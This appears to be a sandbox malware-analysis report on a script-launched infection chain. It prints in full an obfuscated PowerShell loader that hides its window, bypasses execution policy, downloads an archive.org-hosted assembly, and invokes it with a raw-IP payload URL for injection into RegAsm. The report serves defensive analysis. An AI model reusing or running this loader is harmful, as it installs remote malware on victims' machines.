'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxDJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FF886C60CB5 push ds; iretd 2_2_00007FF886C60CDA
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FF886C61039 pushad ; iretd 2_2_00007FF886C6103A
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FF886C61A59 push ds; iretd 2_2_00007FF886C61A5A
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FF886C602FD push ds; iretd 2_2_00007FF886C603E2
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF886C30B57 push ds; iretd 4_2_00007FF886C30B6A
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF886C30B6B push ds; iretd 4_2_00007FF886C30B6A
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF886C3C358 push esp; iretd 4_2_00007FF886C3C359
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF886C3CF5C push eax; ret 4_2_00007FF886C3CF5D
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF886C39C29 sldt word ptr fs:[eax]4_2_00007FF886C39C29
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1691Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1720Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4921Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4935Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660Thread sleep count: 4921 > 30Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656Thread sleep count: 4935 > 30Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708Thread sleep time: -19369081277395017s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

